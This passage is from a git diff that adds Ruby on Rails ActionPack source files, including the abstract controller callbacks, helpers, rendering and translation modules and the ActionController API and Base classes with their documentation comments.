+          yield callback, options
+        end
+      end
+
+      ##
+      # :method: before_action
+      #
+      # :call-seq: before_action(names, block)
+      #
+      # Append a callback before actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: prepend_before_action
+      #
+      # :call-seq: prepend_before_action(names, block)
+      #
+      # Prepend a callback before actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: skip_before_action
+      #
+      # :call-seq: skip_before_action(names)
+      #
+      # Skip a callback before actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: append_before_action
+      #
+      # :call-seq: append_before_action(names, block)
+      #
+      # Append a callback before actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: after_action
+      #
+      # :call-seq: after_action(names, block)
+      #
+      # Append a callback after actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: prepend_after_action
+      #
+      # :call-seq: prepend_after_action(names, block)
+      #
+      # Prepend a callback after actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: skip_after_action
+      #
+      # :call-seq: skip_after_action(names)
+      #
+      # Skip a callback after actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: append_after_action
+      #
+      # :call-seq: append_after_action(names, block)
+      #
+      # Append a callback after actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: around_action
+      #
+      # :call-seq: around_action(names, block)
+      #
+      # Append a callback around actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: prepend_around_action
+      #
+      # :call-seq: prepend_around_action(names, block)
+      #
+      # Prepend a callback around actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: skip_around_action
+      #
+      # :call-seq: skip_around_action(names)
+      #
+      # Skip a callback around actions. See _insert_callbacks for parameter details.
+
+      ##
+      # :method: append_around_action
+      #
+      # :call-seq: append_around_action(names, block)
+      #
+      # Append a callback around actions. See _insert_callbacks for parameter details.
+
+      # set up before_action, prepend_before_action, skip_before_action, etc.
+      # for each of before, after, and around.
+      [:before, :after, :around].each do |callback|
+        define_method "#{callback}_action" do |*names, &blk|
+          _insert_callbacks(names, blk) do |name, options|
+            set_callback(:process_action, callback, name, options)
+          end
+        end
+
+        define_method "prepend_#{callback}_action" do |*names, &blk|
+          _insert_callbacks(names, blk) do |name, options|
+            set_callback(:process_action, callback, name, options.merge(prepend: true))
+          end
+        end
+
+        # Skip a before, after or around callback. See _insert_callbacks
+        # for details on the allowed parameters.
+        define_method "skip_#{callback}_action" do |*names|
+          _insert_callbacks(names) do |name, options|
+            skip_callback(:process_action, callback, name, options)
+          end
+        end
+
+        # *_action is the same as append_*_action
+        alias_method :"append_#{callback}_action", :"#{callback}_action"
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
new file mode 100644
index 0000000000..297ec5ca40
--- /dev/null
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "action_dispatch/http/mime_type"
+
+module AbstractController
+  module Collector
+    def self.generate_method_for_mime(mime)
+      sym = mime.is_a?(Symbol) ? mime : mime.to_sym
+      class_eval <<-RUBY, __FILE__, __LINE__ + 1
+        def #{sym}(*args, &block)
+          custom(Mime[:#{sym}], *args, &block)
+        end
+      RUBY
+    end
+
+    Mime::SET.each do |mime|
+      generate_method_for_mime(mime)
+    end
+
+    Mime::Type.register_callback do |mime|
+      generate_method_for_mime(mime) unless instance_methods.include?(mime.to_sym)
+    end
+
+  private
+
+    def method_missing(symbol, &block)
+      unless mime_constant = Mime[symbol]
+        raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+          "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+          "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+          "be sure to nest your variant response within a format response: " \
+          "format.html { |html| html.tablet { ... } }"
+      end
+
+      if Mime::SET.include?(mime_constant)
+        AbstractController::Collector.generate_method_for_mime(mime_constant)
+        send(symbol, &block)
+      else
+        super
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/error.rb b/actionpack/lib/abstract_controller/error.rb
new file mode 100644
index 0000000000..89a54f072e
--- /dev/null
+++ b/actionpack/lib/abstract_controller/error.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+module AbstractController
+  class Error < StandardError #:nodoc:
+  end
+end
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
new file mode 100644
index 0000000000..35b462bc92
--- /dev/null
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -0,0 +1,194 @@
+# frozen_string_literal: true
+
+require "active_support/dependencies"
+
+module AbstractController
+  module Helpers
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_helpers, default: Module.new
+      class_attribute :_helper_methods, default: Array.new
+    end
+
+    class MissingHelperError < LoadError
+      def initialize(error, path)
+        @error = error
+        @path  = "helpers/#{path}.rb"
+        set_backtrace error.backtrace
+
+        if error.path =~ /^#{path}(\.rb)?$/
+          super("Missing helper file helpers/%s.rb" % path)
+        else
+          raise error
+        end
+      end
+    end
+
+    module ClassMethods
+      # When a class is inherited, wrap its helper module in a new module.
+      # This ensures that the parent class's module can be changed
+      # independently of the child class's.
+      def inherited(klass)
+        helpers = _helpers
+        klass._helpers = Module.new { include helpers }
+        klass.class_eval { default_helper_module! } unless klass.anonymous?
+        super
+      end
+
+      # Declare a controller method as a helper. For example, the following
+      # makes the +current_user+ and +logged_in?+ controller methods available
+      # to the view:
+      #   class ApplicationController < ActionController::Base
+      #     helper_method :current_user, :logged_in?
+      #
+      #     def current_user
+      #       @current_user ||= User.find_by(id: session[:user])
+      #     end
+      #
+      #     def logged_in?
+      #       current_user != nil
+      #     end
+      #   end
+      #
+      # In a view:
+      #  <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
+      #
+      # ==== Parameters
+      # * <tt>method[, method]</tt> - A name or names of a method on the controller
+      #   to be made available on the view.
+      def helper_method(*meths)
+        meths.flatten!
+        self._helper_methods += meths
+
+        meths.each do |meth|
+          _helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
+            def #{meth}(*args, &blk)                               # def current_user(*args, &blk)
+              controller.send(%(#{meth}), *args, &blk)             #   controller.send(:current_user, *args, &blk)
+            end                                                    # end
+          ruby_eval
+        end
+      end
+
+      # The +helper+ class method can take a series of helper module names, a block, or both.
+      #
+      # ==== Options
+      # * <tt>*args</tt> - Module, Symbol, String
+      # * <tt>block</tt> - A block defining helper methods
+      #
+      # When the argument is a module it will be included directly in the template class.
+      #   helper FooHelper # => includes FooHelper
+      #
+      # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file
+      # and include the module in the template class. The second form illustrates how to include custom helpers
+      # when working with namespaced controllers, or other cases where the file containing the helper definition is not
+      # in one of Rails' standard load paths:
+      #   helper :foo             # => requires 'foo_helper' and includes FooHelper
+      #   helper 'resources/foo'  # => requires 'resources/foo_helper' and includes Resources::FooHelper
+      #
+      # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available
+      # to the template.
+      #
+      #   # One line
+      #   helper { def hello() "Hello, world!" end }
+      #
+      #   # Multi-line
+      #   helper do
+      #     def foo(bar)
+      #       "#{bar} is the very best"
+      #     end
+      #   end
+      #
+      # Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
+      # +symbols+, +strings+, +modules+ and blocks.
+      #
+      #   helper(:three, BlindHelper) { def mice() 'mice' end }
+      #
+      def helper(*args, &block)
+        modules_for_helpers(args).each do |mod|
+          add_template_helper(mod)
+        end
+
+        _helpers.module_eval(&block) if block_given?
+      end
+
+      # Clears up all existing helpers in this class, only keeping the helper
+      # with the same name as this class.
+      def clear_helpers
+        inherited_helper_methods = _helper_methods
+        self._helpers = Module.new
+        self._helper_methods = Array.new
+
+        inherited_helper_methods.each { |meth| helper_method meth }
+        default_helper_module! unless anonymous?
+      end
+
+      # Returns a list of modules, normalized from the acceptable kinds of
+      # helpers with the following behavior:
+      #
+      # String or Symbol:: :FooBar or "FooBar" becomes "foo_bar_helper",
+      # and "foo_bar_helper.rb" is loaded using require_dependency.
+      #
+      # Module:: No further processing
+      #
+      # After loading the appropriate files, the corresponding modules
+      # are returned.
+      #
+      # ==== Parameters
+      # * <tt>args</tt> - An array of helpers
+      #
+      # ==== Returns
+      # * <tt>Array</tt> - A normalized list of modules for the list of
+      #   helpers provided.
+      def modules_for_helpers(args)
+        args.flatten.map! do |arg|
+          case arg
+          when String, Symbol
+            file_name = "#{arg.to_s.underscore}_helper"
+            begin
+              require_dependency(file_name)
+            rescue LoadError => e
+              raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
+            end
+
+            mod_name = file_name.camelize
+            begin
+              mod_name.constantize
+            rescue LoadError
+              # dependencies.rb gives a similar error message but its wording is
+              # not as clear because it mentions autoloading. To the user all it
+              # matters is that a helper module couldn't be loaded, autoloading
+              # is an internal mechanism that should not leak.
+              raise NameError, "Couldn't find #{mod_name}, expected it to be defined in helpers/#{file_name}.rb"
+            end
+          when Module
+            arg
+          else
+            raise ArgumentError, "helper must be a String, Symbol, or Module"
+          end
+        end
+      end
+
+      private
+        # Makes all the (instance) methods in the helper module available to templates
+        # rendered through this controller.
+        #
+        # ==== Parameters
+        # * <tt>module</tt> - The module to include into the current helper module
+        #   for the class
+        def add_template_helper(mod)
+          _helpers.module_eval { include mod }
+        end
+
+        def default_helper_module!
+          module_name = name.sub(/Controller$/, "".freeze)
+          module_path = module_name.underscore
+          helper module_path
+        rescue LoadError => e
+          raise e unless e.is_missing? "helpers/#{module_path}_helper"
+        rescue NameError => e
+          raise e unless e.missing_name? "#{module_name}Helper"
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/logger.rb b/actionpack/lib/abstract_controller/logger.rb
new file mode 100644
index 0000000000..8d0acc1b5c
--- /dev/null
+++ b/actionpack/lib/abstract_controller/logger.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "active_support/benchmarkable"
+
+module AbstractController
+  module Logger #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      config_accessor :logger
+      include ActiveSupport::Benchmarkable
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
new file mode 100644
index 0000000000..b6e5631a4e
--- /dev/null
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module AbstractController
+  module Railties
+    module RoutesHelpers
+      def self.with(routes, include_path_helpers = true)
+        Module.new do
+          define_method(:inherited) do |klass|
+            super(klass)
+            if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+              klass.include(namespace.railtie_routes_url_helpers(include_path_helpers))
+            else
+              klass.include(routes.url_helpers(include_path_helpers))
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
new file mode 100644
index 0000000000..41898c4c2e
--- /dev/null
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require_relative "error"
+require "action_view"
+require "action_view/view_paths"
+require "set"
+
+module AbstractController
+  class DoubleRenderError < Error
+    DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...) and return\"."
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+  end
+
+  module Rendering
+    extend ActiveSupport::Concern
+    include ActionView::ViewPaths
+
+    # Normalizes arguments, options and then delegates render_to_body and
+    # sticks the result in <tt>self.response_body</tt>.
+    # :api: public
+    def render(*args, &block)
+      options = _normalize_render(*args, &block)
+      rendered_body = render_to_body(options)
+      if options[:html]
+        _set_html_content_type
+      else
+        _set_rendered_content_type rendered_format
+      end
+      self.response_body = rendered_body
+    end
+
+    # Raw rendering of a template to a string.
+    #
+    # It is similar to render, except that it does not
+    # set the +response_body+ and it should be guaranteed
+    # to always return a string.
+    #
+    # If a component extends the semantics of +response_body+
+    # (as ActionController extends it to be anything that
+    # responds to the method each), this method needs to be
+    # overridden in order to still return a string.
+    # :api: plugin
+    def render_to_string(*args, &block)
+      options = _normalize_render(*args, &block)
+      render_to_body(options)
+    end
+
+    # Performs the actual template rendering.
+    # :api: public
+    def render_to_body(options = {})
+    end
+
+    # Returns Content-Type of rendered content
+    # :api: public
+    def rendered_format
+      Mime[:text]
+    end
+
+    DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %i(
+      @_action_name @_response_body @_formats @_prefixes
+    )
+
+    # This method should return a hash with assigns.
+    # You can overwrite this configuration per controller.
+    # :api: public
+    def view_assigns
+      protected_vars = _protected_ivars
+      variables      = instance_variables
+
+      variables.reject! { |s| protected_vars.include? s }
+      variables.each_with_object({}) { |name, hash|
+        hash[name.slice(1, name.length)] = instance_variable_get(name)
+      }
+    end
+
+    # Normalize args by converting <tt>render "foo"</tt> to
+    # <tt>render :action => "foo"</tt> and <tt>render "foo/bar"</tt> to
+    # <tt>render :file => "foo/bar"</tt>.
+    # :api: plugin
+    def _normalize_args(action = nil, options = {})
+      if action.respond_to?(:permitted?)
+        if action.permitted?
+          action
+        else
+          raise ArgumentError, "render parameters are not permitted"
+        end
+      elsif action.is_a?(Hash)
+        action
+      else
+        options
+      end
+    end
+
+    # Normalize options.
+    # :api: plugin
+    def _normalize_options(options)
+      options
+    end
+
+    # Process extra options.
+    # :api: plugin
+    def _process_options(options)
+      options
+    end
+
+    # Process the rendered format.
+    # :api: private
+    def _process_format(format)
+    end
+
+    def _process_variant(options)
+    end
+
+    def _set_html_content_type # :nodoc:
+    end
+
+    def _set_rendered_content_type(format) # :nodoc:
+    end
+
+    # Normalize args and options.
+    # :api: private
+    def _normalize_render(*args, &block)
+      options = _normalize_args(*args, &block)
+      _process_variant(options)
+      _normalize_options(options)
+      options
+    end
+
+    def _protected_ivars # :nodoc:
+      DEFAULT_PROTECTED_INSTANCE_VARIABLES
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/translation.rb b/actionpack/lib/abstract_controller/translation.rb
new file mode 100644
index 0000000000..666e154e4c
--- /dev/null
+++ b/actionpack/lib/abstract_controller/translation.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module AbstractController
+  module Translation
+    # Delegates to <tt>I18n.translate</tt>. Also aliased as <tt>t</tt>.
+    #
+    # When the given key starts with a period, it will be scoped by the current
+    # controller and action. So if you call <tt>translate(".foo")</tt> from
+    # <tt>PeopleController#index</tt>, it will convert the call to
+    # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+    # to translate many keys within the same controller / action and gives you a
+    # simple framework for scoping them consistently.
+    def translate(key, options = {})
+      if key.to_s.first == "."
+        path = controller_path.tr("/", ".")
+        defaults = [:"#{path}#{key}"]
+        defaults << options[:default] if options[:default]
+        options[:default] = defaults.flatten
+        key = "#{path}.#{action_name}#{key}"
+      end
+      I18n.translate(key, options)
+    end
+    alias :t :translate
+
+    # Delegates to <tt>I18n.localize</tt>. Also aliased as <tt>l</tt>.
+    def localize(*args)
+      I18n.localize(*args)
+    end
+    alias :l :localize
+  end
+end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
new file mode 100644
index 0000000000..bd74c27d3b
--- /dev/null
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module AbstractController
+  # Includes +url_for+ into the host class (e.g. an abstract controller or mailer). The class
+  # has to provide a +RouteSet+ by implementing the <tt>_routes</tt> methods. Otherwise, an
+  # exception will be raised.
+  #
+  # Note that this module is completely decoupled from HTTP - the only requirement is a valid
+  # <tt>_routes</tt> implementation.
+  module UrlFor
+    extend ActiveSupport::Concern
+    include ActionDispatch::Routing::UrlFor
+
+    def _routes
+      raise "In order to use #url_for, you must include routing helpers explicitly. " \
+            "For instance, `include Rails.application.routes.url_helpers`."
+    end
+
+    module ClassMethods
+      def _routes
+        nil
+      end
+
+      def action_methods
+        @action_methods ||= begin
+          if _routes
+            super - _routes.named_routes.helper_names
+          else
+            super
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
new file mode 100644
index 0000000000..e893507baa
--- /dev/null
+++ b/actionpack/lib/action_controller.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "active_support/rails"
+require "abstract_controller"
+require "action_dispatch"
+require_relative "action_controller/metal/live"
+require_relative "action_controller/metal/strong_parameters"
+
+module ActionController
+  extend ActiveSupport::Autoload
+
+  autoload :API
+  autoload :Base
+  autoload :Metal
+  autoload :Middleware
+  autoload :Renderer
+  autoload :FormBuilder
+
+  eager_autoload do
+    autoload :Caching
+  end
+
+  autoload_under "metal" do
+    autoload :ConditionalGet
+    autoload :Cookies
+    autoload :DataStreaming
+    autoload :EtagWithTemplateDigest
+    autoload :EtagWithFlash
+    autoload :Flash
+    autoload :ForceSSL
+    autoload :Head
+    autoload :Helpers
+    autoload :HttpAuthentication
+    autoload :BasicImplicitRender
+    autoload :ImplicitRender
+    autoload :Instrumentation
+    autoload :MimeResponds
+    autoload :ParamsWrapper
+    autoload :Redirecting
+    autoload :Renderers
+    autoload :Rendering
+    autoload :RequestForgeryProtection
+    autoload :Rescue
+    autoload :Streaming
+    autoload :StrongParameters
+    autoload :ParameterEncoding
+    autoload :Testing
+    autoload :UrlFor
+  end
+
+  autoload_under "api" do
+    autoload :ApiRendering
+  end
+
+  autoload :TestCase,           "action_controller/test_case"
+  autoload :TemplateAssertions, "action_controller/test_case"
+end
+
+# Common Active Support usage in Action Controller
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/load_error"
+require "active_support/core_ext/module/attr_internal"
+require "active_support/core_ext/name_error"
+require "active_support/core_ext/uri"
+require "active_support/inflector"
diff --git a/actionpack/lib/action_controller/api.rb b/actionpack/lib/action_controller/api.rb
new file mode 100644
index 0000000000..ba9af4767e
--- /dev/null
+++ b/actionpack/lib/action_controller/api.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require "action_view"
+require "action_controller"
+require_relative "log_subscriber"
+
+module ActionController
+  # API Controller is a lightweight version of <tt>ActionController::Base</tt>,
+  # created for applications that don't require all functionalities that a complete
+  # \Rails controller provides, allowing you to create controllers with just the
+  # features that you need for API only applications.
+  #
+  # An API Controller is different from a normal controller in the sense that
+  # by default it doesn't include a number of features that are usually required
+  # by browser access only: layouts and templates rendering, cookies, sessions,
+  # flash, assets, and so on. This makes the entire controller stack thinner,
+  # suitable for API applications. It doesn't mean you won't have such
+  # features if you need them: they're all available for you to include in
+  # your application, they're just not part of the default API controller stack.
+  #
+  # Normally, +ApplicationController+ is the only controller that inherits from
+  # <tt>ActionController::API</tt>. All other controllers in turn inherit from
+  # +ApplicationController+.
+  #
+  # A sample controller could look like this:
+  #
+  #   class PostsController < ApplicationController
+  #     def index
+  #       posts = Post.all
+  #       render json: posts
+  #     end
+  #   end
+  #
+  # Request, response, and parameters objects all work the exact same way as
+  # <tt>ActionController::Base</tt>.
+  #
+  # == Renders
+  #
+  # The default API Controller stack includes all renderers, which means you
+  # can use <tt>render :json</tt> and brothers freely in your controllers. Keep
+  # in mind that templates are not going to be rendered, so you need to ensure
+  # your controller is calling either <tt>render</tt> or <tt>redirect_to</tt> in
+  # all actions, otherwise it will return 204 No Content.
+  #
+  #   def show
+  #     post = Post.find(params[:id])
+  #     render json: post
+  #   end
+  #
+  # == Redirects
+  #
+  # Redirects are used to move from one action to another. You can use the
+  # <tt>redirect_to</tt> method in your controllers in the same way as in
+  # <tt>ActionController::Base</tt>. For example:
+  #
+  #   def create
+  #     redirect_to root_url and return if not_authorized?
+  #     # do stuff here
+  #   end
+  #
+  # == Adding New Behavior
+  #
+  # In some scenarios you may want to add back some functionality provided by
+  # <tt>ActionController::Base</tt> that is not present by default in
+  # <tt>ActionController::API</tt>, for instance <tt>MimeResponds</tt>. This
+  # module gives you the <tt>respond_to</tt> method. Adding it is quite simple,
+  # you just need to include the module in a specific controller or in
+  # +ApplicationController+ in case you want it available in your entire
+  # application:
+  #
+  #   class ApplicationController < ActionController::API
+  #     include ActionController::MimeResponds
+  #   end
+  #
+  #   class PostsController < ApplicationController
+  #     def index
+  #       posts = Post.all
+  #
+  #       respond_to do |format|
+  #         format.json { render json: posts }
+  #         format.xml  { render xml: posts }
+  #       end
+  #     end
+  #   end
+  #
+  # Make sure to check the modules included in <tt>ActionController::Base</tt>
+  # if you want to use any other functionality that is not provided
+  # by <tt>ActionController::API</tt> out of the box.
+  class API < Metal
+    abstract!
+
+    # Shortcut helper that returns all the ActionController::API modules except
+    # the ones passed as arguments:
+    #
+    #   class MyAPIBaseController < ActionController::Metal
+    #     ActionController::API.without_modules(:ForceSSL, :UrlFor).each do |left|
+    #       include left
+    #     end
+    #   end
+    #
+    # This gives better control over what you want to exclude and makes it easier
+    # to create an API controller class, instead of listing the modules required
+    # manually.
+    def self.without_modules(*modules)
+      modules = modules.map do |m|
+        m.is_a?(Symbol) ? ActionController.const_get(m) : m
+      end
+
+      MODULES - modules
+    end
+
+    MODULES = [
+      AbstractController::Rendering,
+
+      UrlFor,
+      Redirecting,
+      ApiRendering,
+      Renderers::All,
+      ConditionalGet,
+      BasicImplicitRender,
+      StrongParameters,
+
+      ForceSSL,
+      DataStreaming,
+
+      # Before callbacks should also be executed as early as possible, so
+      # also include them at the bottom.
+      AbstractController::Callbacks,
+
+      # Append rescue at the bottom to wrap as much as possible.
+      Rescue,
+
+      # Add instrumentations hooks at the bottom, to ensure they instrument
+      # all the methods properly.
+      Instrumentation,
+
+      # Params wrapper should come before instrumentation so they are
+      # properly showed in logs
+      ParamsWrapper
+    ]
+
+    MODULES.each do |mod|
+      include mod
+    end
+
+    ActiveSupport.run_load_hooks(:action_controller_api, self)
+    ActiveSupport.run_load_hooks(:action_controller, self)
+  end
+end
diff --git a/actionpack/lib/action_controller/api/api_rendering.rb b/actionpack/lib/action_controller/api/api_rendering.rb
new file mode 100644
index 0000000000..aca5265313
--- /dev/null
+++ b/actionpack/lib/action_controller/api/api_rendering.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module ActionController
+  module ApiRendering
+    extend ActiveSupport::Concern
+
+    included do
+      include Rendering
+    end
+
+    def render_to_body(options = {})
+      _process_options(options)
+      super
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
new file mode 100644
index 0000000000..bbc48e6eb7
--- /dev/null
+++ b/actionpack/lib/action_controller/base.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require "action_view"
+require_relative "log_subscriber"
+require_relative "metal/params_wrapper"
+
+module ActionController
+  # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
+  # on request and then either it renders a template or redirects to another action. An action is defined as a public method
+  # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
+  #
+  # By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
+  # controllers inherit from ApplicationController. This gives you one class to configure things such as
+  # request forgery protection and filtering of sensitive request parameters.
+  #
+  # A sample controller could look like this:
+  #
+  #   class PostsController < ApplicationController
+  #     def index
+  #       @posts = Post.all
+  #     end
+  #
+  #     def create
+  #       @post = Post.create params[:post]
+  #       redirect_to posts_path
+  #     end
+  #   end
+  #
+  # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
+  # after executing code in the action. For example, the +index+ action of the PostsController would render the
+  # template <tt>app/views/posts/index.html.erb</tt> by default after populating the <tt>@posts</tt> instance variable.
+  #
+  # Unlike index, the create action will not render a template. After performing its main purpose (creating a
+  # new post), it initiates a redirect instead. This redirect works by returning an external
+  # <tt>302 Moved</tt> HTTP response that takes the user to the index action.
+  #
+  # These two methods represent the two basic action archetypes used in Action Controllers: Get-and-show and do-and-redirect.
+  # Most actions are variations on these themes.
+  #
+  # == Requests
+  #
+  # For every request, the router determines the value of the +controller+ and +action+ keys. These determine which controller
+  # and action are called. The remaining request parameters, the session (if one is available), and the full request with
+  # all the HTTP headers are made available to the action through accessor methods. Then the action is performed.
+  #
+  # The full request object is available via the request accessor and is primarily used to query for HTTP headers:
+  #
+  #   def server_ip
+  #     location = request.env["REMOTE_ADDR"]
+  #     render plain: "This server hosted at #{location}"
+  #   end
+  #
+  # == Parameters
+  #
+  # All request parameters, whether they come from a query string in the URL or form data submitted through a POST request are
+  # available through the <tt>params</tt> method which returns a hash. For example, an action that was performed through
+  # <tt>/posts?category=All&limit=5</tt> will include <tt>{ "category" => "All", "limit" => "5" }</tt> in <tt>params</tt>.
+  #
+  # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
+  #
+  #   <input type="text" name="post[name]" value="david">
+  #   <input type="text" name="post[address]" value="hyacintvej">
+  #
+  # A request coming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
+  # If the address input had been named <tt>post[address][street]</tt>, the <tt>params</tt> would have included
+  # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
+  #
+  # == Sessions
+  #
+  # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
+  # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
+  # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
+  # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
+  #
+  # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
+  #
+  #   session[:person] = Person.authenticate(user_name, password)
+  #
+  # You can retrieve it again through the same hash:
+  #
+  #   Hello #{session[:person]}
+  #
+  # For removing objects from the session, you can either assign a single key to +nil+:
+  #
+  #   # removes :person from session
+  #   session[:person] = nil
+  #
+  # or you can remove the entire session with +reset_session+.
+  #
+  # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
+  # This prevents the user from tampering with the session but also allows them to see its contents.
+  #
+  # Do not put secret information in cookie-based sessions!
+  #
+  # == Responses
+  #
+  # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
+  # object is generated automatically through the use of renders and redirects and requires no user intervention.
+  #
+  # == Renders
+  #
+  # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
+  # of a template. Included in the Action Pack is the Action View, which enables rendering of ERB templates. It's automatically configured.
+  # The controller passes objects to the view by assigning instance variables:
+  #
+  #   def show
+  #     @post = Post.find(params[:id])
+  #   end
+  #
+  # Which are then automatically available to the view:
+  #
+  #   Title: <%= @post.title %>
+  #
+  # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates
+  # will use the manual rendering methods:
+  #
+  #   def search
+  #     @results = Search.find(params[:query])
+  #     case @results.count
+  #       when 0 then render action: "no_results"
+  #       when 1 then render action: "show"
+  #       when 2..10 then render action: "show_many"
+  #     end
+  #   end
+  #
+  # Read more about writing ERB and Builder templates in ActionView::Base.
+  #
+  # == Redirects
+  #
+  # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the
+  # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're
+  # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
+  #
+  #   def create
+  #     @entry = Entry.new(params[:entry])
+  #     if @entry.save
+  #       # The entry was saved correctly, redirect to show
+  #       redirect_to action: 'show', id: @entry.id
+  #     else
+  #       # things didn't go so well, do something else
+  #     end
+  #   end
+  #
+  # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method, which is then executed.
+  # Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action),
+  # and not some internal re-routing which calls both "create" and then "show" within one request.
+  #
+  # Learn more about <tt>redirect_to</tt> and what options you have in ActionController::Redirecting.
+  #
+  # == Calling multiple redirects or renders
+  #
+  # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
+  #
+  #   def do_something
+  #     redirect_to action: "elsewhere"
+  #     render action: "overthere" # raises DoubleRenderError
+  #   end
+  #
+  # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
+  #
+  #   def do_something
+  #     redirect_to(action: "elsewhere") and return if monkeys.nil?
+  #     render action: "overthere" # won't be called if monkeys is nil
+  #   end
+  #
+  class Base < Metal
+    abstract!
+
+    # We document the request and response methods here because albeit they are
+    # implemented in ActionController::Metal, the type of the returned objects
+    # is unknown at that level.
+
+    ##
+    # :method: request
+    #
+    # Returns an ActionDispatch::Request instance that represents the
+    # current request.
+
+    ##
+    # :method: response
+    #
+    # Returns an ActionDispatch::Response that represents the current
+    # response.
+
+    # Shortcut helper that returns all the modules included in
+    # ActionController::Base except the ones passed as arguments:
+    #
+    #   class MyBaseController < ActionController::Metal
+    #     ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
+    #       include left
+    #     end
+    #   end
+    #
+    # This gives better control over what you want to exclude and makes it
+    # easier to create a bare controller class, instead of listing the modules
+    # required manually.
+    def self.without_modules(*modules)
+      modules = modules.map do |m|
+        m.is_a?(Symbol) ? ActionController.const_get(m) : m
+      end
+
+      MODULES - modules
+    end
+
+    MODULES = [
+      AbstractController::Rendering,
+      AbstractController::Translation,
+      AbstractController::AssetPaths,
+
+      Helpers,
+      UrlFor,
+      Redirecting,
+      ActionView::Layouts,
+      Rendering,
+      Renderers::All,
+      ConditionalGet,
